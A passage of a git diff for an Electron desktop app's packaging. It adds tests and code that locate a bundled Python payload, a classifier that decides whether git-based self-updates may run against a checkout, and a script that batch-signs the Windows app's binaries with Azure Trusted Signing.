+import fs from 'node:fs' +import os from 'node:os' +import path from 'node:path' + +import { test } from 'vitest' + +import { createHash } from 'node:crypto' + +import { adoptPayloadVenv, installIdForRoot, isBundledInstall, resolvePayload } from './payload-backend' + +function tmpdir() { + return fs.mkdtempSync(path.join(os.tmpdir(), 'payload-test-')) +} + +function writePayload( + root: string, + { + manifest = { schema: 1, target: 'win32-x64', repo: 'hermes-agent', venv: 'venv', store: 'tools' }, + isWindows = true + }: any = {} +) { + const dir = path.join(root, 'agent-payload') + + fs.mkdirSync(path.join(dir, 'hermes-agent'), { recursive: true }) + fs.mkdirSync(path.join(dir, 'tools', 'python-3.11.16-win32-x64'), { recursive: true }) + + // Store python (win: python.exe at the entry root; posix: bin/python3). + if (isWindows) { + fs.writeFileSync(path.join(dir, 'tools', 'python-3.11.16-win32-x64', 'python.exe'), '') + } else { + fs.mkdirSync(path.join(dir, 'tools', 'python-3.11.16-win32-x64', 'bin'), { recursive: true }) + fs.writeFileSync(path.join(dir, 'tools', 'python-3.11.16-win32-x64', 'bin', 'python3'), '') + } + + // Venv site-packages (where the project deps are installed). + const sp = isWindows + ? path.join(dir, 'venv', 'Lib', 'site-packages') + : path.join(dir, 'venv', 'lib', 'python3.11', 'site-packages') + fs.mkdirSync(sp, { recursive: true }) + + // The self-relative CLI entrypoint (minted launcher exe on win32, bash + // trampoline on POSIX) — the bundled entry point. + const binDir = path.join(dir, 'bin') + fs.mkdirSync(binDir, { recursive: true }) + fs.writeFileSync(path.join(binDir, isWindows ? 'hermes.exe' : 'hermes'), '') + + fs.writeFileSync(path.join(dir, 'manifest.json'), JSON.stringify(manifest)) + fs.writeFileSync( + path.join(dir, 'tools', 'facts.json'), + JSON.stringify({ packages: { python: { entry: 'python-3.11.16-win32-x64', version: '3.11.16' } } }) + ) + + return dir +} + +const fsDeps = { + fileExists: (p: string) => { + try { + return fs.statSync(p).isFile() + } catch { + return false + } + }, + directoryExists: (p: string) => { + try { + return fs.statSync(p).isDirectory() + } catch { + return false + } + } +} + +test('resolvePayload finds a complete payload (store python + venv site-packages)', () => { + const root = tmpdir() + + writePayload(root) + + const payload = resolvePayload(root, { ...fsDeps, isWindows: true }) + + assert.ok(payload) + assert.equal(payload.repoDir, path.join(root, 'agent-payload', 'hermes-agent')) + assert.ok(payload.storePython.endsWith(path.join('tools', 'python-3.11.16-win32-x64', 'python.exe'))) + assert.ok(payload.sitePackages.endsWith(path.join('venv', 'Lib', 'site-packages'))) + assert.ok(payload.shim.endsWith(path.join('bin', 'hermes.exe'))) +}) + +test('resolvePayload resolves the posix store python + site-packages layout', () => { + const root = tmpdir() + + writePayload(root, { isWindows: false }) + + const payload = resolvePayload(root, { ...fsDeps, isWindows: false }) + + assert.ok(payload) + assert.ok(payload.storePython.endsWith(path.join('tools', 'python-3.11.16-win32-x64', 'bin', 'python3'))) + assert.ok(payload.sitePackages.endsWith(path.join('venv', 'lib', 'python3.11', 'site-packages'))) + assert.ok(payload.shim.endsWith(path.join('bin', 'hermes'))) +}) + +test('resolvePayload returns null without a manifest, for external stubs, and for a broken payload', () => { + assert.equal(resolvePayload(tmpdir(), { ...fsDeps, isWindows: true }), null) + assert.equal(resolvePayload(undefined, { ...fsDeps, isWindows: true }), null) + + const externalRoot = tmpdir() + + writePayload(externalRoot, { manifest: { schema: 1, external: true } }) + assert.equal(resolvePayload(externalRoot, { ...fsDeps, isWindows: true }), null) + + const brokenRoot = tmpdir() + const dir = writePayload(brokenRoot) + + fs.rmSync(path.join(dir, 'venv'), { recursive: true }) + assert.equal(resolvePayload(brokenRoot, { ...fsDeps, isWindows: true }), null) +}) + +test('adoptPayloadVenv verifies store python + site-packages without any cfg write', () => { + const root = tmpdir() + const dir = writePayload(root) + const payload = resolvePayload(root, { ...fsDeps, isWindows: true }) + + assert.ok(payload) + // Bundled builds run the store python directly — there is NO pyvenv.cfg + // write (the payload may be read-only, e.g. MSIX). The cfg, if present, + // is left untouched. + fs.writeFileSync(path.join(dir, 'venv', 'pyvenv.cfg'), 'home = C:\\ci\\build\\python\nversion_info = 3.11.16\n') + assert.equal(adoptPayloadVenv(payload, { isWindows: true }), true) + const text = fs.readFileSync(path.join(dir, 'venv', 'pyvenv.cfg'), 'utf8') + assert.ok(text.includes('C:\\ci\\build'), 'the shipped cfg is not rewritten') + + // second call: still reports usable + assert.equal(adoptPayloadVenv(payload, { isWindows: true }), true) +}) + +// adoptPayloadVenv is now a pure presence-verify; resolvePayload's own +// existence checks already reject a payload missing the store python or +// site-packages (covered above), so there is no separate fail-closed path +// to assert at this layer. + +test('isBundledInstall is true for a real payload manifest', () => { + const root = tmpdir() + + writePayload(root) + + assert.equal(isBundledInstall(root, fsDeps), true) +}) + +test('isBundledInstall is false for the external stub and for missing manifests', () => { + const externalRoot = tmpdir() + + writePayload(externalRoot, { manifest: { schema: 1, external: true } }) + assert.equal(isBundledInstall(externalRoot, fsDeps), false) + + assert.equal(isBundledInstall(tmpdir(), fsDeps), false) + assert.equal(isBundledInstall(undefined, fsDeps), false) +}) + +test('isBundledInstall is true even when the payload is damaged (never-install guard)', () => { + const root = tmpdir() + const dir = writePayload(root) + + // A broken payload must still read as bundled: isBundledInstall is the + // guard that REFUSES the installer, and a damaged bundle is exactly the + // case where the installer must not run. + fs.rmSync(path.join(dir, 'venv'), { recursive: true }) + fs.rmSync(path.join(dir, 'tools', 'python-3.11.16-win32-x64'), { recursive: true }) + + assert.equal(resolvePayload(root, { ...fsDeps, isWindows: true }), null) + assert.equal(isBundledInstall(root, fsDeps), true) +}) + +test('isBundledInstall is false for a malformed manifest', () => { + const root = tmpdir() + const dir = path.join(root, 'agent-payload') + + fs.mkdirSync(dir, { recursive: true }) + fs.writeFileSync(path.join(dir, 'manifest.json'), 'not json {') + + assert.equal(isBundledInstall(root, fsDeps), false) +}) + +// ─── update channel helpers ───────────────────────────────────────── + +test('installIdForRoot matches the Python install id (sha16 of the canonical path)', () => { + // sha256('/home/u/.hermes/hermes-agent')[:16] — recomputed independently. + assert.equal( + installIdForRoot('/home/u/.hermes/hermes-agent'), + createHash('sha256').update('/home/u/.hermes/hermes-agent', 'utf8').digest('hex').slice(0, 16) + ) + // The canonicalizer output is what gets hashed (symlinked homes). + assert.equal( + installIdForRoot('/link/hermes-agent', () => '/real/hermes-agent'), + installIdForRoot('/real/hermes-agent') + ) +}) + diff --git a/apps/desktop/electron/payload-backend.ts b/apps/desktop/electron/payload-backend.ts new file mode 100644 index 0000000000..859780d8d4 --- /dev/null +++ b/apps/desktop/electron/payload-backend.ts @@ -0,0 +1,172 @@ +/** + * payload-backend.ts + * + * The bundled-install backend: a pm payload staged by `hermes pm bundle` + * and shipped under resources/agent-payload. The payload carries the repo + * snapshot, the tool store (with facts.json), and a relocatable venv + * built on the staged python-build-standalone interpreter. + * + * Electron's whole job here is finding the interpreter and verifying the + * payload can boot. Bundled builds run the store python directly — + * self-relative, no pyvenv.cfg write, so read-only installs (MSIX) work. + * Everything else — managed tool PATHs, env composition — happens + * in-process via pm when the backend runs. + */ + +import { createHash } from 'node:crypto' +import fs from 'node:fs' +import path from 'node:path' + +export interface PayloadInfo { + root: string + repoDir: string + toolsDir: string + /** The payload's own CPython (tools//python(.exe)). */ + storePython: string + /** The venv's site-packages (Lib/site-packages on win, lib/python3.11/site-packages on posix). */ + sitePackages: string + /** The self-relative CLI trampoline (bin/hermes(.exe)) — the bundled entry point. */ + shim: string +} + +export function resolvePayload( + resourcesPath: string | undefined, + deps: { + fileExists: (p: string) => boolean + directoryExists: (p: string) => boolean + isWindows: boolean + } +): PayloadInfo | null { + if (!resourcesPath) { + return null + } + + const root = path.join(resourcesPath, 'agent-payload') + const manifestPath = path.join(root, 'manifest.json') + + if (!deps.fileExists(manifestPath)) { + return null + } + + let manifest: any + + try { + manifest = JSON.parse(fs.readFileSync(manifestPath, 'utf8')) + } catch { + return null + } + + if (!manifest || manifest.external === true) { + return null + } + + // The manifest names the payload layout; a bundle that omits the fields + // is malformed — refuse it rather than guess at cmd_bundle's layout. + if (typeof manifest.repo !== 'string' || typeof manifest.store !== 'string' || typeof manifest.venv !== 'string') { + return null + } + + const repoDir = path.join(root, manifest.repo) + const toolsDir = path.join(root, manifest.store) + const venvDir = path.join(root, manifest.venv) + // The CLI trampoline staged into bin/ (hermes/hermes-agent/hermes-acp — + // build-bundled-desktop.mjs 5b: distlib-minted launchers on win32, + // $0-relative bash trampolines on POSIX). It execs the store python with + // the payload's own PYTHONPATH, so it is the single bundled entry point. + const shim = path.join(root, 'bin', deps.isWindows ? 'hermes.exe' : 'hermes') + + // The store CPython + the venv's site-packages. Bundled builds run the + // STORE python (self-relative, no pyvenv.cfg write — works on read-only + // MSIX) with PYTHONPATH pointing at the venv site-packages (where the + // project deps are installed). The venv python itself is NOT used in + // bundled builds. + let storePython = '' + let sitePackages = '' + try { + const facts = JSON.parse(fs.readFileSync(path.join(toolsDir, 'facts.json'), 'utf8')) + const entry = facts?.packages?.python?.entry + if (typeof entry === 'string') { + storePython = path.join(toolsDir, entry, deps.isWindows ? 'python.exe' : 'bin', deps.isWindows ? '' : 'python3') + sitePackages = deps.isWindows + ? path.join(venvDir, 'Lib', 'site-packages') + : path.join(venvDir, 'lib', `python${process.env.PYTHON_VER || '3.11'}`, 'site-packages') + } + } catch { + // fall through to the existence checks below + } + + if (!deps.directoryExists(repoDir) || !deps.fileExists(storePython) || !deps.directoryExists(sitePackages) || !deps.fileExists(shim)) { + return null + } + + return { root, repoDir, toolsDir, storePython, sitePackages, shim } +} + +/** + * "Is this artifact a bundled install?" — the app ships its own Hermes payload. + * True whenever resources/agent-payload/manifest.json exists and is not the + * external stub (before-build.mjs writes {schema:1, external:true} for + * non-bundled builds). Deliberately does NOT verify payload usability: a + * damaged bundle still must never install — callers use this to refuse the + * installer, not to decide the payload can boot. + */ +export function isBundledInstall( + resourcesPath: string | undefined, + deps: { fileExists: (p: string) => boolean } +): boolean { + if (!resourcesPath) { + return false + } + + const manifestPath = path.join(resourcesPath, 'agent-payload', 'manifest.json') + + if (!deps.fileExists(manifestPath)) { + return false + } + + try { + const manifest = JSON.parse(fs.readFileSync(manifestPath, 'utf8')) + + return Boolean(manifest) && manifest.external !== true + } catch { + return false + } +} + +/** + * Verify the payload is usable — the store python + venv site-packages + * resolve. NO pyvenv.cfg write: bundled builds run the store python + * directly (self-relative, works on read-only MSIX), so there is nothing + * to re-point. Returns true when the payload can boot. + */ +export function adoptPayloadVenv( + payload: PayloadInfo, + deps: { isWindows: boolean; log?: (m: string) => void } +): boolean { + if (!payload.storePython || !payload.sitePackages) { + deps.log?.('[payload] missing store python or site-packages') + return false + } + return true +} + +// ─── update channel ───────────────────────────────────────────────────────── +// +// The CLI owns the channel records; Electron only reads the install id for +// `update.installs./` bookkeeping. Channel resolution itself lives in +// hermes_cli/update_channel.py — main.ts keys nightly/stable off the baked +// install stamp tag directly. + +export type UpdateChannel = 'stable' | 'main' | 'nightly' + +/** + * The install id of the tree at `root`: sha16 of the canonical PATH, + * byte-identical to Python's install id (sha256 of the resolved root, + * first 16 hex chars — `boot_bootstrap._install_key` / + * `update_channel._install_key_sha16`). Path-derived so it survives + * artifact replacement at the same location; the same key names + * `installs//`. + */ +export function installIdForRoot(root: string, canonicalize: (p: string) => string = p => p): string { + return createHash('sha256').update(canonicalize(root), 'utf8').digest('hex').slice(0, 16) +} diff --git a/apps/desktop/electron/update-root-policy.test.ts b/apps/desktop/electron/update-root-policy.test.ts new file mode 100644 index 0000000000..5fa0a7183d --- /dev/null +++ b/apps/desktop/electron/update-root-policy.test.ts @@ -0,0 +1,66 @@ +/** + * Tests for electron/update-root-policy.ts — the pure classifier that decides + * whether the desktop's git-based self-update may run against a resolved + * update root. A checkout the install contract does not manage (steward-owned + * `external`/`electron-updater` mechanisms) must be refused with a user-action + * pointer instead of the desktop pulling into it. + */ + +import assert from 'node:assert/strict' + +import { test } from 'vitest' + +import { classifyUpdateRoot } from './update-root-policy' + +test('a non-git root is not updatable and carries no user advice', () => { + const result = classifyUpdateRoot({ isGitTree: false, updateMechanism: null }) + + assert.equal(result.updatable, false) + assert.equal(result.verdict, 'not-a-checkout') + assert.equal(result.provenance, 'not-a-checkout') + assert.equal(result.advice, null) + assert.ok(result.message) +}) + +test('a self-managed checkout is updatable', () => { + const result = classifyUpdateRoot({ isGitTree: true, updateMechanism: 'self' }) + + assert.equal(result.updatable, true) + assert.equal(result.verdict, 'updatable') + assert.equal(result.provenance, 'managed-self') + assert.equal(result.advice, null) + assert.equal(result.message, null) +}) + +test('a checkout owned by the external steward is refused with a git pull pointer', () => { + const result = classifyUpdateRoot({ isGitTree: true, updateMechanism: 'external' }) + + assert.equal(result.updatable, false) + assert.equal(result.verdict, 'steward-owned-git-tree') + assert.equal(result.provenance, 'steward-owned') + assert.equal(result.advice, 'git pull') + assert.ok(result.message?.includes('external')) +}) + +test('a checkout owned by electron-updater is refused the same way', () => { + const result = classifyUpdateRoot({ isGitTree: true, updateMechanism: 'electron-updater' }) + + assert.equal(result.updatable, false) + assert.equal(result.verdict, 'steward-owned-git-tree') + assert.equal(result.advice, 'git pull') + assert.ok(result.message?.includes('electron-updater')) +}) + +test('an unstamped git tree (dev checkout) stays updatable with unknown provenance', () => { + const result = classifyUpdateRoot({ isGitTree: true, updateMechanism: null }) + + assert.equal(result.updatable, true) + assert.equal(result.verdict, 'updatable') + assert.equal(result.provenance, 'unknown') + assert.equal(result.advice, null) +}) + +test('the classification is a pure function of its inputs', () => { + const facts = { isGitTree: true, updateMechanism: 'external' as const } + assert.deepEqual(classifyUpdateRoot(facts), classifyUpdateRoot({ ...facts })) +}) diff --git a/apps/desktop/electron/update-root-policy.ts b/apps/desktop/electron/update-root-policy.ts new file mode 100644 index 0000000000..af0ed97bb1 --- /dev/null +++ b/apps/desktop/electron/update-root-policy.ts @@ -0,0 +1,94 @@ +// update-root-policy.ts — pure classifier for the desktop self-update root. +// +// The desktop's git-based self-update arm runs `git fetch/merge` against a +// checkout it resolved (resolveUpdateRoot in main.ts). That root is only +// legitimate update territory when the install contract says so: +// +// - Not a `.git` tree → there is nothing to pull; the desktop cannot +// self-update here (bundled installs use the OS App Installer arm and +// never reach this classifier). +// - A `.git` tree whose install stamp says `updateMechanism: "self"` → the +// install is a managed self-updating checkout (e.g. the desktop +// bootstrap's clone, which writes exactly that stamp) — updatable. +// - A `.git` tree with any OTHER mechanism (`external`: the store/steward +// owns updates; `electron-updater`: the desktop package does) → the tree +// is managed by someone else. Pulling into it from the desktop would +// stash-and-move a user's checkout out from under its steward. +// - No stamp at all (null mechanism; a dev source checkout) → provenance +// unknown. The classifier reports `updatable` with `provenance: +// 'unknown'`: a developer's working tree keeps its existing update flow, +// and callers log the ambiguity rather than silently widening the refusal. +// +// Pure and dependency-injected (same shape as update-gate.ts) so the policy +// is unit-testable without booting Electron, and every caller gets the same +// answer from one authority. + +export type UpdateMechanism = 'self' | 'electron-updater' | 'external' + +export type UpdateRootProvenance = 'managed-self' | 'steward-owned' | 'unknown' | 'not-a-checkout' + +export interface UpdateRootClassification { + /** Whether the desktop's git-based self-update may run against this root. */ + updatable: boolean + /** Machine-readable verdict for update-check results and logs. */ + verdict: 'updatable' | 'not-a-checkout' | 'steward-owned-git-tree' | 'unmanaged-git-tree' + /** Why the root is (or is not) updatable, for user-facing messages. */ + message: string | null + /** The command that fixes it, when the user (not the app) must act. */ + advice: 'git pull' | null + provenance: UpdateRootProvenance +} + +export interface UpdateRootFacts { + /** True when the resolved update root contains a `.git` entry. */ + isGitTree: boolean + /** The install stamp's updateMechanism, or null when there is no stamp. */ + updateMechanism: UpdateMechanism | null +} + +/** + * Classify whether the desktop may self-update (git pull semantics) against + * the resolved update root. + */ +export function classifyUpdateRoot(facts: UpdateRootFacts): UpdateRootClassification { + if (!facts.isGitTree) { + return { + updatable: false, + verdict: 'not-a-checkout', + message: 'This install has no git checkout to update — the app or its steward owns the update loop.', + advice: null, + provenance: 'not-a-checkout' + } + } + + if (facts.updateMechanism === 'self') { + return { + updatable: true, + verdict: 'updatable', + message: null, + advice: null, + provenance: 'managed-self' + } + } + + if (facts.updateMechanism === 'external' || facts.updateMechanism === 'electron-updater') { + return { + updatable: false, + verdict: 'steward-owned-git-tree', + message: + `This checkout is managed by its install method (${facts.updateMechanism}); ` + + 'the desktop will not run git updates against it.', + advice: 'git pull', + provenance: 'steward-owned' + } + } + + // No stamp: unknown provenance (typically a developer source checkout). + return { + updatable: true, + verdict: 'updatable', + message: null, + advice: null, + provenance: 'unknown' + } +} diff --git a/apps/desktop/electron/windows-hermes-path.test.ts b/apps/desktop/electron/windows-hermes-path.test.ts index 0c49b4a2ac..5a02e57d50 100644 --- a/apps/desktop/electron/windows-hermes-path.test.ts +++ b/apps/desktop/electron/windows-hermes-path.test.ts @@ -13,16 +13,10 @@ // re-selected forever instead of falling through to bootstrap. import assert from 'node:assert/strict' -import path from 'node:path' import { test } from 'vitest' -import { - buildPathExtCandidates, - chooseUpdaterArgs, - getVenvSitePackagesEntries, - resolveVenvHermesCommand -} from './windows-hermes-path' +import { buildPathExtCandidates, chooseUpdaterArgs, resolveVenvHermesCommand } from './windows-hermes-path' test('buildPathExtCandidates: Windows tries PATHEXT extensions before the empty extension', () => { const extensions = buildPathExtCandidates('.COM;.EXE;.BAT;.CMD', true) @@ -92,9 +86,7 @@ function makeDeps(overrides: Partial directoryExists: () => false, canImportHermesCli: () => true, getVenvPython: (venvRoot: string) => `${venvRoot}/Scripts/python.exe`, - getVenvSitePackagesEntries: () => [], buildDesktopBackendEnv: () => ({ FAKE_ENV: '1' }), - hermesHome: '/fake/hermes-home', resolvePath: (...segments: string[]) => segments.join('/').replace(/\/+/g, '/'), dirname: (p: string) => p.slice(0, p.lastIndexOf('/')) || '/', basename: (p: string) => p.slice(p.lastIndexOf('/') + 1), @@ -170,71 +162,3 @@ test('resolveVenvHermesCommand: is case-insensitive on hermes.exe and the Script assert.ok(resolveVenvHermesCommand('/root/venv/Scripts/HERMES.EXE', [], deps)) assert.ok(resolveVenvHermesCommand('/root/venv/SCRIPTS/hermes.exe', [], deps)) }) - -// ── getVenvSitePackagesEntries ───────────────────────────────────────────── - -test('getVenvSitePackagesEntries: returns Lib/site-packages on Windows when it exists', () => { - const expected = path.join('C:\\venv', 'Lib', 'site-packages') - - const result = getVenvSitePackagesEntries('C:\\venv', { - isWindows: true, - directoryExists: p => p === expected - }) - - assert.deepEqual(result, [expected]) -}) - -test('getVenvSitePackagesEntries: returns empty on Windows when site-packages does not exist', () => { - const result = getVenvSitePackagesEntries('C:\\venv', { - isWindows: true, - directoryExists: () => false - }) - - assert.deepEqual(result, []) -}) - -test('getVenvSitePackagesEntries: reads pyvenv.cfg version on POSIX and resolves lib/pythonX.Y/site-packages', () => { - const result = getVenvSitePackagesEntries('/venv', { - isWindows: false, - directoryExists: p => p === '/venv/lib/python3.12/site-packages', - readFile: () => 'version_info = 3.12.1\n' - }) - - assert.deepEqual(result, ['/venv/lib/python3.12/site-packages']) -}) - -test('getVenvSitePackagesEntries: returns empty on POSIX when pyvenv.cfg is missing', () => { - const result = getVenvSitePackagesEntries('/venv', { - isWindows: false, - directoryExists: () => true, - readFile: () => undefined - }) - - assert.deepEqual(result, []) -}) - -test('getVenvSitePackagesEntries: returns empty on POSIX when pyvenv.cfg has no version_info', () => { - const result = getVenvSitePackagesEntries('/venv', { - isWindows: false, - directoryExists: () => true, - readFile: () => 'home = /usr/bin\n' - }) - - assert.deepEqual(result, []) -}) - -test('getVenvSitePackagesEntries: returns empty on POSIX when version is present but site-packages dir is absent', () => { - const result = getVenvSitePackagesEntries('/venv', { - isWindows: false, - directoryExists: () => false, - readFile: () => 'version_info = 3.11\n' - }) - - assert.deepEqual(result, []) -}) - -test('getVenvSitePackagesEntries: returns empty for a falsy venvRoot', () => { - assert.deepEqual(getVenvSitePackagesEntries('', { isWindows: true, directoryExists: () => true }), []) - assert.deepEqual(getVenvSitePackagesEntries(null, { isWindows: true, directoryExists: () => true }), []) - assert.deepEqual(getVenvSitePackagesEntries(undefined, { isWindows: true, directoryExists: () => true }), []) -}) diff --git a/apps/desktop/electron/windows-hermes-path.ts b/apps/desktop/electron/windows-hermes-path.ts index f94d4b2c39..2174a8491e 100644 --- a/apps/desktop/electron/windows-hermes-path.ts +++ b/apps/desktop/electron/windows-hermes-path.ts @@ -29,9 +29,6 @@ * backend-command.ts. */ -import fs from 'node:fs' -import path from 'node:path' - /** * Build the ordered list of extensions findOnPath() should try when * resolving a bare command name off PATH. @@ -82,104 +79,14 @@ export function chooseUpdaterArgs(signals: BootstrapRecoverySignals, branch: str return canRunUpdater ? ['--update', '--branch', branch] : ['--repair', '--branch', branch] } -/** - * Resolve the site-packages directory entries for a Python venv. - * - * On Windows, venv layout is `/Lib/site-packages`. - * On POSIX, it's `/lib/python/site-packages` where - * `` (e.g. `3.12`) is read from the venv's `pyvenv.cfg` - * `version_info` field. - * - * Returns only directories that actually exist on disk. Returns an empty - * array when `venvRoot` is falsy or no matching site-packages dir is found. - * - * Extracted from main.ts so the platform branching can be tested without - * reading source text. `isWindows` and `directoryExists` are injectable; - * `readFile` defaults to `fs.readFileSync` but can be overridden for tests. - */ -export function getVenvSitePackagesEntries( - venvRoot: string | undefined | null, - opts: { - isWindows?: boolean - directoryExists?: (p: string) => boolean - readFile?: (p: string) => string | undefined - } = {} -): string[] { - const entries: string[] = [] - - if (!venvRoot) { - return entries - } - - const isWindows = opts.isWindows ?? process.platform === 'win32' - - const directoryExists = - opts.directoryExists ?? - ((p: string) => { - try { - return fs.statSync(p).isDirectory() - } catch { - return false - } - }) - - const readFile = - opts.readFile ?? - ((p: string) => { - try { - return fs.readFileSync(p, 'utf8') - } catch { - return undefined - } - }) - - if (isWindows) { - const sitePackages = path.join(venvRoot, 'Lib', 'site-packages') - - if (directoryExists(sitePackages)) { - entries.push(sitePackages) - } - - return entries - } - - const cfg = readFile(path.join(venvRoot, 'pyvenv.cfg')) - - const version = (() => { - if (!cfg) { - return null - } - - const match = cfg.match(/^version_info\s*=\s*(\d+\.\d+)/im) - - return match ? match[1].trim() : null - })() - - if (version) { - const sitePackages = path.join(venvRoot, 'lib', `python${version}`, 'site-packages') - - if (directoryExists(sitePackages)) { - entries.push(sitePackages) - } - } - - return entries -} - export interface ResolveVenvHermesCommandDeps { isWindows: boolean isCommandScript: (command: string) => boolean fileExists: (filePath: string) => boolean directoryExists: (filePath: string) => boolean - canImportHermesCli: (python: string, opts?: { env?: Record }) => boolean + canImportHermesCli: (python: string, opts?: { env?: Record; cwd?: string }) => boolean getVenvPython: (venvRoot: string) => string - getVenvSitePackagesEntries: (venvRoot: string) => string[] - buildDesktopBackendEnv: (opts: { - hermesHome: string - pythonPathEntries: string[] - venvRoot: string - }) => Record - hermesHome: string + buildDesktopBackendEnv: () => Record resolvePath: (...segments: string[]) => string dirname: (p: string) => string basename: (p: string) => string @@ -226,9 +133,7 @@ export function resolveVenvHermesCommand( directoryExists, canImportHermesCli, getVenvPython, - getVenvSitePackagesEntries, buildDesktopBackendEnv, - hermesHome, resolvePath, dirname, basename, @@ -260,15 +165,9 @@ export function resolveVenvHermesCommand( const root = dirname(venvRoot) - if ( - !canImportHermesCli(python, { - env: { - PYTHONPATH: [...(directoryExists(root) ? [root] : []), process.env.PYTHONPATH] - .filter((entry): entry is string => Boolean(entry)) - .join(path.delimiter) - } - }) - ) { + // Probe with the same semantics the real spawn uses: venv interpreter, + // cwd at the checkout root, no PYTHONPATH. + if (!canImportHermesCli(python, { cwd: directoryExists(root) ? root : undefined })) { rememberLog?.( `Ignoring venv Hermes at ${python}: runtime import probe failed (broken/partial venv); falling through to bootstrap.` ) @@ -281,11 +180,7 @@ export function resolveVenvHermesCommand( command: python, args: ['-m', 'hermes_cli.main', ...backendArgs], bootstrap: false, - env: buildDesktopBackendEnv({ - hermesHome, - pythonPathEntries: [...(directoryExists(root) ? [root] : []), ...getVenvSitePackagesEntries(venvRoot)], - venvRoot - }), + env: buildDesktopBackendEnv(), kind: 'python', root, shell: false diff --git a/apps/desktop/scripts/after-pack.mjs b/apps/desktop/scripts/after-pack.mjs index 509cbb4248..30c83a08a6 100644 --- a/apps/desktop/scripts/after-pack.mjs +++ b/apps/desktop/scripts/after-pack.mjs @@ -21,6 +21,10 @@ import path from 'node:path' +import { findPackedPayload, relativizePayloadLinks, stripFetchCache } from './materialize-payload-links.mjs' +import { batchSignAppTree } from './batch-sign-binaries.mjs' +import { resolveSigningIdentity, signNestedChromium } from './sign-nested-chromium.mjs' +import { sanitizeTree } from './sanitize-pe-signatures.mjs' import { stampExeIdentity } from './set-exe-identity.mjs' export default async function afterPack(context) { @@ -38,4 +42,12 @@ export default async function afterPack(context) { // Never fail the build over a cosmetic stamp. console.warn(`[after-pack] exe identity stamp failed (${err.message}); Hermes.exe keeps the stock Electron icon`) } + + // Batch-sign every payload binary AFTER sanitize (above) and the rcedit + // stamp: a dangling certificate table or a subsequent resource edit would + // invalidate the signature. The product exe is excluded here and signed + // per-file by the customSign hook (scripts/batch-sign-binaries.mjs) after + // electron-builder's own rcedit + fuses pass. No-op with a loud warning when + // the AZURE_SIGN_* environment is absent (unsigned/fork/nightly lanes). + batchSignAppTree(context.appOutDir, exe) } diff --git a/apps/desktop/scripts/batch-sign-binaries.mjs b/apps/desktop/scripts/batch-sign-binaries.mjs new file mode 100644 index 0000000000..baef66ea44 --- /dev/null +++ b/apps/desktop/scripts/batch-sign-binaries.mjs @@ -0,0 +1,414 @@ +// batch-sign-binaries.mjs — Authenticode-sign every standalone binary inside +// the packed Windows app tree (Hermes.exe's sibling DLLs and everything under +// resources/agent-payload/tools/: node.exe, ffmpeg.exe, chromium, the minted +// CLI launcher exes, pm tool binaries, …). +// +// Why a batch: Windows validates only the MSIX package signature +// (AppxSignature.p7x over AppxBlockMap.xml), so inner binaries have never been +// signed. But an MSIX whose payload carries unsigned PEs trips SmartScreen / +// enterprise WDAC policies that scan inner files, and signature-verification +// tooling reports the app as mixed signed/unsigned. Task 0 (pm-clean fix +// plan): sign the whole tree, once, in chunked signtool invocations. +// +// Ordering (electron-builder win32 pipeline, pinned by app-builder-lib source): +// beforePack → pack → afterPack (this module's caller) → electron fuses +// → signAndEditResources (rcedit on the product exe) → per-file sign hook. +// Consequences: +// - The batch runs in afterPack AFTER sanitize-pe-signatures.mjs (a dangling +// certificate table makes signtool fail 0x800700C1) and AFTER the rcedit +// identity stamp, so neither can invalidate what we sign. +// - The product exe (`.exe`) is EXCLUDED from the batch: +// rcedit edits its resources (and the electron fuses flip) after +// afterPack, which invalidates any signature. It is signed per-file by the +// customSign hook AFTER rcedit, on the exact Azure mechanism sign-msix.mjs +// uses for the package itself. +// - The customSign hook returns true (does nothing) for every file the batch +// already covered, so electron-builder never re-signs one-by-one. +// +// Sign-nested-chromium.mjs stays as-is: it is macOS-only (codesign --deep over +// .app bundles inside the payload for Apple notarization) and is invoked from +// the darwin branch of after-pack.mjs. There is no overlap with this Windows +// Authenticode batch. +// +// Gating matches the rest of the pipeline: this module only signs when the +// Azure Trusted Signing variables are present (the same AZURE_SIGN_* set the +// release-signing workflow arms provide). Without them — local builds, forks, +// unsigned nightly lanes — it is a no-op with a loud warning, exactly like +// stage-msixbundle.mjs. The dlib + signtool resolution reuses the +// electron-builder cache walk from scripts/stage-msixbundle.mjs; nothing is +// hardcoded to C:\Tools. + +import { execFileSync } from 'node:child_process' +import fs from 'node:fs' +import path from 'node:path' +import { isMain } from './utils.mjs' + +export const CHUNK_SIZE = 100 + +/** + * Recursively collect every .exe/.dll under dir. Symbolic links are skipped + * (the payload's materialized-link layout can contain them; the target is + * collected on its own walk). Sorted for deterministic chunking. + * + * @param {string} dir + * @param {{ skip?: (file: string) => boolean }} [opts] + * @returns {string[]} + */ +export function getBinaries(dir, opts = {}) { + const out = [] + const walk = (current) => { + let entries + try { + entries = fs.readdirSync(current, { withFileTypes: true }) + } catch { + return + } + for (const entry of entries) { + if (entry.isSymbolicLink()) continue + const full = path.join(current, entry.name) + if (entry.isDirectory()) { + walk(full) + continue + } + if (!entry.isFile()) continue + const lower = entry.name.toLowerCase() + if (lower.endsWith('.exe') || lower.endsWith('.dll')) { + if (opts.skip && opts.skip(full)) continue + out.push(full) + } + } + } + walk(dir) + return out.sort() +} + +/** Split a file list into signtool-sized batches. */ +export function chunk(items, size = CHUNK_SIZE) { + const chunks = [] + for (let i = 0; i < items.length; i += size) { + chunks.push(items.slice(i, i + size)) + } + return chunks +} + +/** True when the Azure Trusted Signing variables are all present. */ +export function azureSigningConfigured(env = process.env) { + return Boolean(env.AZURE_SIGN_ENDPOINT && env.AZURE_SIGN_ACCOUNT && env.AZURE_SIGN_PROFILE) +} + +// The electron-builder toolset cache roots, in precedence order — the same +// walk scripts/stage-msixbundle.mjs does (configured ELECTRON_BUILDER_CACHE +// beats stray defaults). +function cacheRoots(env) { + return [ + env.ELECTRON_BUILDER_CACHE || '', + path.join(env.LOCALAPPDATA || '', 'electron-builder', 'Cache'), + path.join(env.USERPROFILE || '', 'AppData', 'Local', 'electron-builder', 'Cache') + ].filter(Boolean) +} + +/** + * Host arch for the signing toolset. The ATS bundle ships the dlib for + * x64/x86 only (its arm64 dir has no dlib), and a 32-bit signtool cannot + * load a 64-bit dlib — so the signtool + dlib pair must be same-arch. On + * arm64 hosts use the x64 pair (x64 signtool runs under Windows-on-ARM + * emulation). Mirrors app-builder-lib's WindowsSignAzureManager + * (`process.arch === "ia32" ? Arch.ia32 : Arch.x64`). + */ +export function signingArch() { + return process.arch === 'ia32' ? 'x86' : 'x64' +} + +/** + * True when a resolved path sits in the `/` dir (e.g. `.../x64/signtool.exe` + * or 